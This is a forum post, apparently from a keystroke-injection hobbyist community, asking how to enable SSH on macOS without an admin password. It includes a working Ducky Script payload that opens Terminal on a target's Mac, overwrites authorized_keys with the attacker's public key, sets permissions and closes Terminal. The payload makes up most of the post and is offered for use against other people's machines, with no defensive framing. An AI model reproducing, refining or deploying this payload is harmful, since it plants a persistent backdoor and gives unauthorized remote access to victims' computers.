Jump to content

OSX SSH payload issues


ESC

Recommended Posts

Hey guys trying to set up a payload for putting the rsa key on a machine and enabling the ssh server.

If i try and do it using the terminal it needs sudo and an admin password but if you do it through the gui in system preferences>sharing>remote login it doesn require a password.

does anyone know an option that can get me around this? thanks!

my current code is bassed on they passwordless ssh code by Jesse Wallace, i added some things that i found to be nessessary like the directory creation and the permissions

REM Title: OS X Get SSH access
REM Author: Jesse Wallace (c0deous)
REM This script adds a ssh public key to the authorized_keys file on a target's mac.

DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING mkdir ~/.ssh/
DELAY 30
ENTER
STRING chmod 700 ~/.ssh
DELAY 30
ENTER
STRING echo 'ssh-key' > ~/.ssh/authorized_keys
DELAY 1500
ENTER
STRING chmod 600 ~/.ssh/authorized_keys
ENTER
DELAY 100
STRING killall Terminal
ENTER

REM Note: you may shorten the times if you think they are too slow.  I made them to accomodate older macs that can't get around very fast.

also strange side note the payload works great as is but for some reason on one (of three) of my macs it quits typing the line 'ssh-key' > ~/.ssh/authorized_keys after 'ssh-key'

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...